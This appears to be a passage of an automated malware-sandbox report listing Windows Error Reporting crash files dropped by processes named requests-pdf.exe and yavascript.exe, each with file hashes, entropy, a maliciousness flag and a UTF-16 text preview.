                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.9.7.4.2.1.4.0.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.0.7.1.0.9.0.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.9.0.e.7.9.0.-.e.e.7.2.-.4.b.4.e.-.b.f.d.9.-.4.9.a.2.5.2.4.4.3.6.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.b.6.2.e.c.7.-.a.e.b.0.-.4.3.7.8.-.a.4.5.9.-.9.a.7.7.2.2.b.d.c.8.1.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_13b49622-e6e7-4daa-8c01-72ed647dcbd5\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9228879465516717
                                                  Encrypted:false
                                                  SSDEEP:96:NBE2XvHsgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnp:LLvHN056rwjueZrsrzuiFEZ24IO87
                                                  MD5:BF81503C6B246D8831DB88991D5C0633
                                                  SHA1:2BEAC637FBD3582B0BA2255F5464E3372B49C92F
                                                  SHA-256:126424F4D822FAD86D765A96EB0F140639BF6A0D8A1618B9C68DF0F301E7C8AB
                                                  SHA-512:B92862F589A190351AE0FEC26480B6D3EF8DA66BC6ACBD7C1AE16F7572EB21BBB24A7E1920FF347E6593B14F20EFBB3D9C408F61375C47A7800D2F0792C5B201
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.8.9.0.8.4.4.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.b.4.9.6.2.2.-.e.6.e.7.-.4.d.a.a.-.8.c.0.1.-.7.2.e.d.6.4.7.d.c.b.d.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.b.6.5.2.f.4.-.0.8.9.0.-.4.e.5.2.-.b.d.e.4.-.5.5.4.b.6.b.5.5.6.4.b.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_25738c98-1b94-4ae5-bbb7-2076c1c4d3d2\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9231703804423853
                                                  Encrypted:false
                                                  SSDEEP:96:P6jvQasgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnmw:ovQaN056rwjueZrsrzuiFEZ24IO87
                                                  MD5:26715E715B87AAED99EC31A22D9300BE
                                                  SHA1:1A064FA8D7B19F398C35BA4B763292AC1F469874
                                                  SHA-256:D2C258FD28ED97A052C3C28720A21DC824C8CAB1B1205A79C7F6D17DDFB9ED7E
                                                  SHA-512:D34B284B6899BD6AB61999CCF8E29D034AB76303337CC47D4E5E0B66A38A0829BA41443CF399B45605B3529B2F7F36933AAD3686706B0AF40B830F3CAD3EB7A4
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.6.4.1.8.4.3.9.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.5.7.3.8.c.9.8.-.1.b.9.4.-.4.a.e.5.-.b.b.b.7.-.2.0.7.6.c.1.c.4.d.3.d.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.d.5.9.b.3.3.0.-.4.3.e.c.-.4.2.e.d.-.9.8.9.0.-.d.8.4.4.2.1.4.8.3.7.a.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_57cf398d-e414-49fa-857c-4fd98ed1d433\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9229607270175687
                                                  Encrypted:false
                                                  SSDEEP:96:NQ5vssgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnmEh:u5vsN056rwjueZrsrzuiFEZ24IO87
                                                  MD5:BEEF8EBD2A06706BB890DE10D8BE2BB6
                                                  SHA1:35D3E020D8E6C80FFD679CABD7DFE1041D9D733C
                                                  SHA-256:CDA2C076A3AE6A1609FE8AD9F0FD312CDE2ABBBC103B876ED1114513597F7278
                                                  SHA-512:936B336E0BE7E689F75585ABA1C869425B79D47A17FA88909ECE1704E8515B4240E9D03E312B4F4DEF07BB04E9374DA963DEB2C6596E65E4E3766D53377C0D70
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.5.7.7.3.9.0.2.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.7.c.f.3.9.8.d.-.e.4.1.4.-.4.9.f.a.-.8.5.7.c.-.4.f.d.9.8.e.d.1.d.4.3.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.4.9.d.2.0.a.1.-.8.8.a.8.-.4.b.3.6.-.9.6.c.8.-.4.f.0.a.c.c.a.7.7.9.c.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_5a7aee39-5788-4ceb-9ff6-ea8fb63e1bd2\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9229069879668019
                                                  Encrypted:false
                                                  SSDEEP:96:ZJmwv0sgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnmw:Xmwv0N056rwjueZrsrzuiFEZ24IO87
                                                  MD5:0439515B0D33F36633EADE30D681FDC7
                                                  SHA1:1BBCF7390AFF3C54401B4FE89B275C5FC1D53ED4
                                                  SHA-256:AD630E70D8BCE05A18EE553F536E6977AA07E63E93B914C6E1B49B97BE3C00F1
                                                  SHA-512:A8B26078C167C59B8A5401E80B788D27633C5F426B00E2524CC1E0EE16524A5E22AF13CC1C6B1A7EBD3313E6705486EC8C5F233627C4304120321EB8653A9E97
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.7.0.7.7.0.5.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.a.7.a.e.e.3.9.-.5.7.8.8.-.4.c.e.b.-.9.f.f.6.-.e.a.8.f.b.6.3.e.1.b.d.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.1.2.1.5.6.d.2.-.7.9.2.7.-.4.1.0.6.-.b.c.3.1.-.4.c.2.7.a.3.3.7.2.8.d.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_8a47a3d0-4dd3-467c-8879-0b0c126c3c09\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9091717491605713
                                                  Encrypted:false
                                                  SSDEEP:96:N8uvesgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnmEI:tveN056rwjueZrsCzuiFEZ24IO87
                                                  MD5:EB0C13A8B91F1A51B6F881D44B785753
                                                  SHA1:7AB6F2E2641FAB326604596DD42CEE56CFE3248C
                                                  SHA-256:B3FE6564107D14BDB2C3975F2BF5E3691BB2B74A089C32B4F6954C6C9D0D2ACA
                                                  SHA-512:A9D829DB747B41E76B42FA04B31810C7EAFCC544C594AC30E52FD69BD8EEA468E149A5C5991D290169714EECC8301D7DEE034A8A3D8280527083A0B7552FCC6D
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.5.0.1.0.6.7.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.a.4.7.a.3.d.0.-.4.d.d.3.-.4.6.7.c.-.8.8.7.9.-.0.b.0.c.1.2.6.c.3.c.0.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.2.d.5.8.1.a.-.d.0.2.3.-.4.f.c.f.-.9.b.0.b.-.1.8.c.0.d.3.6.0.b.8.5.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_74a166a51a3a9edcba86685dba96842529ee9fb0_bec3f5f0_ca8061a8-97e0-4087-899f-eb617625a162\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9229003240448986
                                                  Encrypted:false
                                                  SSDEEP:96:YYqevjsgh/K7ifK5QXIDcQnc6rCcEhcw3rb+HbHg/8BRTf3Oy1EoqzIPtZrXOnmw:SevjN056rwjueZrsrzuiFEZ24IO87
                                                  MD5:C17DF71085D043C7F21F3356656ADAF2
                                                  SHA1:A0DF449614445AE6940611DAA8F0D956446100F2
                                                  SHA-256:863A0C27E87A5628E978E83C6F6A103F06FCF212D7855AF76D966033E689AA15
                                                  SHA-512:C50CA35FCCECA17E49D8E3DC3B81B7BE4EF59C7B1948290ADAD2148BBEC4DC751461B2131A5DD3482F43312897F118173E34EE32DC76B514C7B5668B6DF72BB1
                                                  Malicious:true
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.8.8.2.9.6.6.6.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.a.8.0.6.1.a.8.-.9.7.e.0.-.4.0.8.7.-.8.9.9.f.-.e.b.6.1.7.6.2.5.a.1.6.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.4.0.4.c.2.7.-.f.3.a.e.-.4.3.9.5.-.b.6.b.4.-.e.1.2.5.1.b.c.f.f.e.e.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.4.-.0.0.0.1.-.0.0.1.4.-.a.c.8.f.-.e.0.0.3.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.c.0.1.e.3.2.1.6.d.6.6.7.5.6.8.7.7.5.1.f.4.d.3.7.9.6.0.5.f.9.1.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.r.e.q.u.e.s.t.s.-.p.d.f...e.x.e.....B.o.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_6c5bf3d51517cc47632ad74af297dc99e45719af_ea442dc3_dc6735ff-c7d6-43ca-873d-ca1e3955c355\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:modified
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8495602561667523
                                                  Encrypted:false
                                                  SSDEEP:96:jMhfJSNs1h/H7ifiQXIDcQmc6BcE6cw3c+HbHgnoW6HeOyu9oVazWtZrwnVfEodF:gh0Nj0YFgpjzkZrqzuiFfZ24IO8P8
                                                  MD5:9D6F4E7112C12C9FEA8ED541B60BB937
                                                  SHA1:13A4CEC8F7F8C2CB3050AF3D202BC486E8D11E6C
                                                  SHA-256:C25268F61E4D83684490563CA04A109BD3151292D41391A63D6E9956EEEB3D8C
                                                  SHA-512:4EFCA5685BFC14275F02FA30437D19DC45F2204EB4460B2C143D5D67F71D63F87BD39364BFBBE1CCFFDE458CE7087371746C37B8B370E88C9E64081D2D223D66
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.7.9.1.9.2.3.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.9.0.2.8.6.0.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.6.7.3.5.f.f.-.c.7.d.6.-.4.3.c.a.-.8.7.3.d.-.c.a.1.e.3.9.5.5.c.3.5.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.9.8.5.2.6.9.f.-.5.a.f.9.-.4.2.5.6.-.8.6.4.3.-.7.7.3.8.b.c.9.d.b.9.1.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.e.c.-.0.0.0.1.-.0.0.1.4.-.1.3.9.0.-.7.9.0.b.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_39f57ae8-4d2a-42d2-ac04-02307644082a\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8565141895376784
                                                  Encrypted:false
                                                  SSDEEP:96:Vm4n6SZs1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXOn6:PvZV056rAjueZrCzuiFEZ24IO8P8
                                                  MD5:D7EE7D2C2AF594D1DCABA949F8B0B0D7
                                                  SHA1:91810C8542D63C612946144D2AC0B9D9B570A01F
                                                  SHA-256:541DD32C5F48B2BEBF9688A202D1417B7EC8B8604531DB06F431C756F6F77C6D
                                                  SHA-512:DD2157BDBD211A089EA61C8C0586B230BFA95E1180615FE1874587E584AB21D1F0B86E09349B838EFF1F95E8A5F788279625B9BAEA2A5895CF2BBECB94A1F08C
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.1.9.2.5.5.0.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.f.5.7.a.e.8.-.4.d.2.a.-.4.2.d.2.-.a.c.0.4.-.0.2.3.0.7.6.4.4.0.8.2.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.3.5.6.e.0.2.d.-.f.0.5.6.-.4.c.d.6.-.b.c.d.0.-.b.4.e.d.2.3.7.b.4.8.7.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_5c1a3fac-81c5-42b5-9ff0-f1318bd537c9\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9264578148157697
                                                  Encrypted:false
                                                  SSDEEP:96:uTsqn6S3s1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXOi:u4qv3V056rAjueZr7fzuiFfZ24IO8P8
                                                  MD5:70C94F18641A3B33B412A665A9F11622
                                                  SHA1:EFE246E2252CC78FEB46F443BE5AA361069BAE8D
                                                  SHA-256:9A42BCC521A8EE07FBC8540179B89A36F618E9858AF3EAC74D42FB14A302B810
                                                  SHA-512:4DC2D919692C003CD219D1C500CA39512FCB26AB29F723E5AE7B61E87BAEB5883E44B7E9A6C937930F9C2D59B4862AEA6B7C999F522E84C834F0AE2ADDC229EB
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.9.8.0.4.3.2.4.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.c.1.a.3.f.a.c.-.8.1.c.5.-.4.2.b.5.-.9.f.f.0.-.f.1.3.1.8.b.d.5.3.7.c.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.5.c.9.4.9.c.-.5.4.1.4.-.4.5.e.a.-.8.1.4.3.-.8.e.0.9.3.b.3.b.3.8.e.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_6a4608f5-676e-462f-b74a-1faa040b68e0\Report.wer

                                                  Download File
